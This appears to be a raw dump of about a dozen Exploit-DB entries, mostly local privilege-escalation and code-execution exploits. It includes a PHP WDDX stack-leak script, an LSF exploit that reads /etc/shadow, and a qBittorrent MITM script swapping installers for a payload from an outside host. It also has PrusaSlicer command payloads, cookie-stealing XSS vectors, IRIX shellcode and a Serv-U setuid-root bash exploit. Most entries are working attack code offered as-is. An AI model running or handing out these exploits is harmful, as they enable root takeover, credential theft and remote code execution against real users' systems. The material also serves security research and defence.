deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3414
Description: PHP < 4.4.5/5.2.1 - WDDX Session Deserialization Information Leak
Type: local
Platform: multiple
Date: 2007-03-04
Author: Stefan Esser

Exploit:
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP WDDX Session Deserialization Stack Information Leak      //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  if (!extension_loaded("wddx")) {
    die("wddx extension needed\n");
  }

  ini_set("session.serialize_handler", "wddx");
  
  session_start();
  
  session_decode("<wddxPacket version='1.0'><header/><data><struct><var name='".str_repeat("A",8192)."'><string>A</string></var><var name='1'><string>1</string></var></struct></data></wddxPacket>");    

  $keys = array_keys($_SESSION);
  $stackdump = $keys[1];
  
  echo "Stackdump\n---------\n\n";
  
  for ($b=0; $b<strlen($stackdump); $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      printf ("%02x ", ord($stackdump[$b+$i]));
    }
    for ($i=0; $i<16; $i++) {
      $c = ord($stackdump[$b+$i]);
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-04]
Exploit-DB #22628
Description: Platform Load Sharing Facility 4/5 - 'LSF_ENVDIR' Local Command Execution
Type: local
Platform: multiple
Date: 2003-03-20
Author: Tomasz Grabowski

Exploit:
source: https://www.securityfocus.com/bid/7655/info

It has been reported that Load Sharing Facility (LSF) does not properly handle input in environment variables. Because of this, an attacker may be able to gain escalated privileges on a vulnerable system. 

# LSF 5.1 'lsadmin' local root exploit
# 2003.03.20 - CADENCE of Lam3rZ

# Proof of concept - for educational purposes only!

cat <<__END__> attacker_code.c
#include <stdio.h>
int main() {
FILE *secret_file;
FILE *temp_file;
char one_line[128];
setuid(0);setgid(0);
secret_file = fopen("/etc/shadow", "r");
temp_file = fopen(".temp.file", "w");
fgets(one_line, 120, secret_file);
fputs(one_line, temp_file);
fclose(secret_file); fclose (temp_file);
}
__END__

gcc attacker_code.c -o lim
chmod 777 lim
export LSF_SERVERDIR=.
lsadmin ckconfig
cat .temp.file
rm -f attacker_code.c lim .temp.file
Exploit-DB #32847
Description: PostgreSQL 8.3.6 - Low Cost Function Information Disclosure
Type: local
Platform: multiple
Date: 2009-03-10
Author: Andres Freund

Exploit:
source: https://www.securityfocus.com/bid/34069/info

PostgreSQL is prone to an information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

PostgreSQL 8.3.6 is vulnerable; other versions may also be affected. 

CREATE OR REPLACE FUNCTION do_tell(anyelement)
RETURNS bool
COST 0.1
VOLATILE
LANGUAGE plpgsql
AS $body$
BEGIN
raise notice 'hah: %s', $1::text;
return true;
END;
$body$;

SELECT * FROM restricted_view WHERE do_tell(secret_column);
Exploit-DB #21117
Description: Progress Database 8.3/9.1 - Multiple Buffer Overflows
Type: local
Platform: multiple
Date: 2001-10-05
Author: kf

Exploit:
source: https://www.securityfocus.com/bid/3404/info

Progress is a commercial database for Microsoft Windows and Unix systems.

Locally exploitable buffer overflows are prevalent throughout many Progress Database programs. This is largely due to insufficient bounds checking of data which is externally supplied to strcpy functions.

These problems could be exploited to allow a local attacker to execute arbitrary code on a host with the privileges of each individual affected program.

This situation could be leveraged by the attacker to gain root privileges on the host. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21117.tar
Exploit-DB #51983
Description: PrusaSlicer 2.6.1 - Arbitrary code execution
Type: local
Platform: multiple
Date: 2024-04-12
Author: Kamil Breński

Exploit:
# Exploit Title: PrusaSlicer 2.6.1 - Arbitrary code execution on g-code export
# Date: 16/01/2024
# Exploit Author: Kamil Breński
# Vendor Homepage: https://www.prusa3d.com
# Software Link: https://github.com/prusa3d/PrusaSlicer
# Version: PrusaSlicer up to and including version 2.6.1
# Tested on: Windows and Linux
# CVE: CVE-2023-47268

==========================================================================================
1.) 3mf Metadata extension
==========================================================================================

PrusaSlicer 3mf project (zip) archives contain the 'Metadata/Slic3r_PE.config' file which describe various project settings, this is an extension to the regular 3mf file. PrusaSlicer parses this additional file to read various project settings. One of the settings (post_process) is the post-processing script (https://help.prusa3d.com/article/post-processing-scripts_283913) this feature has great potential for abuse as it allows a malicious user to create an evil 3mf project that will execute arbitrary code when the targeted user exports g-code from the malicious project. A project file needs to be modified with a prost process script setting in order to execute arbitrary code, this is demonstrated on both a Windows and Linux host in the following way.

==========================================================================================
2.) PoC
==========================================================================================

For the linux PoC, this CLI command is enough to execute the payload contained in the project. './prusa-slicer -s code-exec-linux.3mf'. After slicing, a new file '/tmp/hax' will be created. This particular PoC contains this 'post_process' entry in the 'Slic3r_PE.config' file:

```
; post_process = "/usr/bin/id > /tmp/hax #\necho 'Here I am, executing arbitrary code on this host. Thanks for slicing (x_x)'>> /tmp/hax #"
```

Just slicing the 3mf using the `-s` flag is enough to start executing potentially malicious code.

For the windows PoC with GUI, the malicious 3mf file needs to be opened as a project file (or the settings imported). After exporting, a pop-up executed by the payload will appear. The windows PoC contains this entry:

```
; post_process = "C:\\Windows\\System32\\cmd.exe /c msg %username% Here I am, executing arbitrary code on this host. Thanks for slicing (x_x) "
```
Exploit-DB #52190
Description: qBittorrent 5.0.1 - MITM RCE
Type: local
Platform: multiple
Date: 2025-04-11
Author: Jordan Sharp

Exploit:
# Exploit Title: qBittorrent 5.0.1 MITM RCE
# Date: 01/02/2025
# Exploit Author: Jordan Sharp
# Vendor Homepage: https://github.com/qbittorrent/qBittorrent
# Software Link: https://www.qbittorrent.org/download
# Version: < 5.0.1
# Tested on: Windows 10
# CVE : CVE-2024-51774

Run the PoC on a MITM machine intercepting the host

"""PoC exploit for CVE-2024-51774"""
from mitmproxy import http

targets = [
    "https://www.python.org/ftp/python/3.10.11/python-3.10.11-amd64.exe",
    "https://www.python.org/ftp/python/3.8.10/python-3.8.10-amd64.exe",
    "https://www.python.org/ftp/python/3.10.11/python-3.10.11.exe",
    "https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe",
    "https://www.python.org/ftp/python/3.4.3/python-3.4.3.msi",
    "https://www.python.org/ftp/python/3.8.5/python-3.8.5-amd64.exe",
    "https://www.python.org/ftp/python/3.8.5/python-3.8.5.exe",
    "https://www.python.org/ftp/python/3.8.1/python-3.8.1-amd64.exe",
    "https://www.python.org/ftp/python/3.8.1/python-3.8.1.exe",
    "https://www.python.org/ftp/python/3.7.4/python-3.7.4-amd64.exe",
    "https://www.python.org/ftp/python/3.7.4/python-3.7.4.exe",
    "https://www.python.org/ftp/python/3.6.6/python-3.6.6.exe",
    "https://www.python.org/ftp/python/3.12.4/python-3.12.4-amd64.exe",
    "https://www.python.org/ftp/python/3.4.4/python-3.4.4.msi",
    "https://www.python.org/ftp/python/3.5.2/python-3.5.2.exe"
]

SUBSTITUTE_URL = "http://192.168.50.2:6666/calc.exe"

def request(flow: http.HTTPFlow) -> None:
    """
    Inject any exe instead of a Python installer.
    """
    if flow.request.pretty_url in targets:
        flow.request.url = SUBSTITUTE_URL
Exploit-DB #52289
Description: RDPGuard 9.9.9 - Privilege Escalation
Type: local
Platform: multiple
Date: 2025-05-13
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: RDPGuard 9.9.9 - Privilege Escalation
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 09.05.2025
# Vendor Homepage: https://rdpguard.com
# Software Link: https://rdpguard.com/download.aspx
# Tested Version: 9.9.9 (latest)
# Tested on: Windows 10 (32bit)

# # # Steps to Reproduce # # #

# 1. Prepare a .bat file containing your reverse shell code.
# 2. Open RDPGuard.
# 3. Navigate to Tools > Custom Actions / Notifications.
# 4. Click the "Add" button.
# 5. Leave "Event" as "IP Blocked".
# 6. Select "Execute Program" from the "Action" dropdown.
# 7. Under the "Program/script" field, select your prepared .bat file.
# 8. Set up your listener.
# 9. Click "Test Run".
# 10. A reverse shell as NT AUTHORITY\SYSTEM is obtained!
Exploit-DB #21078
Description: Respondus for WebCT 1.1.2 - Weak Password Encryption
Type: local
Platform: multiple
Date: 2001-08-23
Author: Desmond Irvine

Exploit:
source: https://www.securityfocus.com/bid/3228/info

Respondus is an application designed to add functionality to WebCT's quiz, self-test and survey tools. WebCT is a commercial e-learning solution.

When a user opts to have Respondus remember the username/password for WebCT access, the information is saved encrypted in a file called 'WEBCT.SRV'. The encrypted value of the username and password are converted to their ASCII values and added to a constant. A hex editor can be used to compare differences between the file before credentials are saved with the version of the file after credentials are saved. The values of the username/password are determined by subtracting the constants in 'WEBCT.SRV' prior to saving the credentials from the new values.

The constants are the same for every version of Respondus and are easily located, which may allow the attacker to forego the step of comparing the old and new versions of 'WEBCT.SRV', if the constants are known.

Successful exploitation of this issue will allow the attacker to access other WebCT accounts, which may lead to elevated privileges or the disclosure of sensitive information. 

C8-EF = userid
F0-117 = password

To see the password in plain text subtract the value shown in the WEBCT.SVR
file with no info saved from the value in the same position in the file
with the info saved. Stop when you reach the point where the values are
equal and the result is therefore 0.

i.e.

(the values after username is remembered:)
C8-EF 8B 88 7C 88 7A 7B 12 0D 13 0E 14 0F 15 10 16 11 17 12 11 13 12 14 13 15 14 16 15 17 16 0D 17 0E 11 0F 12 10 13 11 14 12
(the constants:)
C8-EF 16 15 17 16 11 17 12 0D 13 0E 14 0F 15 10 16 11 17 12 11 13 12 14 13 15 14 16 15 17 16 0D 17 0E 11 0F 12 10 13 11 14 12
75 73 65 72 69 64 0 <- stop
u s e r i d

(the values after the password is saved:)
F0-117 85 74 89 87 8E 84 83 7A 12 17 13 0D 14 0E 15 0F 16 10 17 11 11 12 12 13 13 14 14 15 15 16 16 17 17 0D 11 0E 12 0F 13 10
(the constants:)
F0-117 15 13 16 14 17 15 11 16 12 17 13 0D 14 0E 15 0F 16 10 17 11 11 12 12 13 13 14 14 15 15 16 16 17 17 0D 11 0E 12 0F 13 10
70 61 73 73 77 6F 72 64 0 <- stop
p a s s w o r d
Exploit-DB #49108
Description: SAP Lumira 1.31 - Stored Cross-Site Scripting
Type: local
Platform: multiple
Date: 2020-11-27
Author: Ilca Lucian Florin

Exploit:
# Exploit Title: SAP Lumira 1.31 - Stored Cross-Site Scripting
# Date: 13.08.2020
# Exploit Author: Ilca Lucian Florin
# Vendor Homepage: https://www.sap.com
# Software Link: SAP Lumira
# Version: <= 1.31
# Tested on: Windows 7 / Windows 10 / Internet Explorer 11 / Google Chrome 84.0.4147.105

# Vulnerable System: https://system/BOE/BI

# Reproduce Cross Site Scripting (XSS):

1. Select Web Intelligence Button
2. Wait for SAP Business Objects to load complete
3. CTRL +N or click on New Document
4. Create an empty document
5. Select new variable
6. Select random name for the variable
7. Add the XSS vectors from evidence
8. Open variable tab and click on new created variable name

# Cross Site Scripting (XSS) Vectors Used:

• "><h1><IFRAME SRC=#
onmouseover="alert(document.cookie)"></IFRAME>123</h1>
• <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
Exploit-DB #21288
Description: Sawmill 6.2.x - Admin Password Insecure Default Permissions
Type: local
Platform: multiple
Date: 2002-02-11
Author: darky0da

Exploit:
source: https://www.securityfocus.com/bid/4077/info

Sawmill is commercial log analysis software. It runs on most Unix and Linux variants, Microsoft Windows NT/2000 operating systems and MacOS.

Sawmill creates the file AdminPassword with insecure default permissions on Solaris platforms. AdminPassword is created with world readable/writeable permissions, regardless of the password_file_permissions setting in the DefaultConfig file. The password_file_permissions in DefaultConfig are set to 600 by default, indicating that the AdminPassword file should only be readable/writeable by the owner of the file.

A local attacker may exploit this condition to overwrite the AdminPassword file with attacker-supplied values. This effectively allows the attacker to gain unauthorized access to restricted Sawmill pages.

Reports suggest that this issue only affects versions of Sawmill running on the Solaris operating system. It has not been confirmed whether versions on other operating systems are affected by this vulnerability. 

rm AdminPassword; echo mypasswd | perl -p -e 'chomp' | md5sum | sed 's/ -//' | perl -p -e 'chomp' > AdminPassword
Exploit-DB #19684
Description: SCO Open Server 5.0.5 / IRIX 6.2 ibX11/X11 Toolkit/Athena Widget Library - Local Buffer Overflow
Type: local
Platform: multiple
Date: 1999-12-20
Author: Last Stage of Delirium

Exploit:
// source: https://www.securityfocus.com/bid/884/info

SCO Openserver and SGI IRIX (6.2 confirmed, possibly others) are vulnerable to several buffer overflows in various shared libraries related to the X window system. This means that all programs which link to these libraries could be vulnerable to exploitation through buggy library calls. The vulnerable libraries are:

LibX11
LibXt
LibXaw
LibXmu

This vulnerability may be similar to serious X library overflows, in our database as Bugtraq ID 237 (published in August, 1997) and the Sun X problems archived in our database as Bugtraq ID 238 (published in May, 1999). 

/*## copyright LAST STAGE OF DELIRIUM nov 1998 poland        *://lsd-pl.net/ #*/
/*## libxaw.so inputmethod                                                   #*/

#include <fcntl.h>

#define NOPNUM 500
#define ADRNUM 500
#define PCHNUM 500

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],*b,*envp[2];
    int i,fd;

    printf("copyright LAST STAGE OF DELIRIUM nov 1998 poland  //lsd-pl.net/\n");
    printf("libxaw.so inputmethod for irix 6.2 IP:17,19,20,21,22\n\n");

    if(argc!=2){
        printf("usage: %s xserver:display\n",argv[0]);
        exit(-1);
    }

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8300+1000+200+12976;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+8300+500+200+32732;

    envp[0]="XENVIRONMENT=resource";
    envp[1]=0;

    strcpy(buffer,"*text*international:    true\n");
    strcat(buffer,"*shellext*inputMethod:  ");
    b=buffer+strlen(buffer);
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b++='\n';

    fd=open("resource",O_CREAT|O_WRONLY,0666);
    write(fd,buffer,strlen(buffer));
    close(fd);

    execle("/usr/bin/X11/xconsole","lsd","-display",argv[1],0,envp);
}
Exploit-DB #47173
Description: Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)
Type: local
Platform: multiple
Date: 2019-01-13
Author: bcoles

Exploit:
#!/bin/bash
# SUroot - Local root exploit for Serv-U FTP Server versions prior to 15.1.7 (CVE-2019-12181)
# Bash variant of Guy Levin's Serv-U FTP Server exploit:
# - https://github.com/guywhataguy/CVE-2019-12181
# ---
# user@debian-9-6-0-x64-xfce:~/Desktop$ ./SUroot 
# [*] Launching Serv-U ...
# sh: 1: : Permission denied
# [+] Success:
# -rwsr-xr-x 1 root root 117208 Jun 28 23:21 /tmp/sh
# [*] Launching root shell: /tmp/sh
# sh-4.4# id
# uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),117(scanner)
# ---
# <bcoles@gmail.com>
# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181

if ! test -u "/usr/local/Serv-U/Serv-U"; then
  echo '[-] /usr/local/Serv-U/Serv-U is not setuid root'
  exit 1
fi

echo "[*] Launching Serv-U ..."

/bin/bash -c 'exec -a "\";cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\"" /usr/local/Serv-U/Serv-U -prepareinstallation'

if ! test -u "/tmp/sh"; then
  echo '[-] Failed'
  /bin/rm "/tmp/sh"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la /tmp/sh

echo "[*] Launching root shell: /tmp/sh"
/tmp/sh -p
Exploit-DB #51225
Description: sleuthkit 4.11.1 - Command Injection
Type: local
Platform: multiple
Date: 2023-04-03
Author: Dino Barlattani

Exploit:
# Exploit Title: sleuthkit 4.11.1 - Command Injection 
 # Date: 2023-01-20
# CVE-2022-45639
# Vendor Homepage: https://github.com/sleuthkit
# Vulnerability Type: Command injection
# Attack Type: Local
# Version: 4.11.1
# Exploit Author: Dino Barlattani, Giuseppe Granato
# Link poc: https://www.binaryworld.it/guidepoc.asp#CVE-2022-45639
# POC:

fls tool is affected by command injection in parameter "-m" when run on
linux system.
OS Command injection vulnerability in sleuthkit fls tool 4.11.1 allows
attackers to execute arbitrary commands
via a crafted value to the m parameter

when it run on linux, a user can insert in the -m parameter a buffer with
backtick with a shell command.
If it run with a web application as front end it can execute commands on
the remote server.

The function affected by the vulnerability is "tsk_fs_fls()" from the
"fls_lib.c" file

#ifdef TSK_WIN32
   {
   ....
   }
#else

   data.macpre = tpre; <---------------

   return tsk_fs_dir_walk(fs, inode, flags, print_dent_act, &data);

#endif

Run command:

$ fls -m `id` [Options]


-- 
*Dino Barlattani*
www.linkedin.com/in/dino-barlattani-10bba11a9/
www.binaryworld.it <http://Binaryworld.it>
www.youtube.com/user/dinbar78
Exploit-DB #49527
Description: SmartFoxServer 2X 2.17.0 - Credentials Disclosure
Type: local
Platform: multiple
Date: 2021-02-08
Author: LiquidWorm

Exploit:
# Exploit Title: SmartFoxServer 2X 2.17.0 - Credentials Disclosure
# Date: 29.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.smartfoxserver.com

SmartFoxServer 2X 2.17.0 Credentials Disclosure


Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
                  Remote Admin: 3.2.6
                  SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: The application stores sensitive information in an
unencrypted XML file called /config/server.xml. A local
attacker that has access to the current user session can
successfully disclose plain-text credentials that can be
used to bypass authentication to the affected server.

Tested on: Windows (all) 64bit installer
           Linux/Unix 64bit installer
           MacOS (10.8+) 64bit installer
           Java 1.8.0_281
           Python 3.9.1
           Python 2.7.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5627
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5627.php

CWE ID: CWE-312
CWE URL: https://cwe.mitre.org/data/definitions/312.html


29.01.2021

--


PS C:\Users\t00t\SmartFoxServer_2X\SFS2X\config> Get-Content server.xml | Select-String -Pattern passw -Context 1,0

          <login>sfsadmin</login>
>         <password>Waddup</password>
          <login>testingus</login>
>         <password>123456</password>
      <mailUser>username</mailUser>
>     <mailPass>password</mailPass>


C:\Users\t00t\SmartFoxServer_2X\SFS2X\config>icacls server.xml
server.xml NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           LAB42\t00t:(I)(F)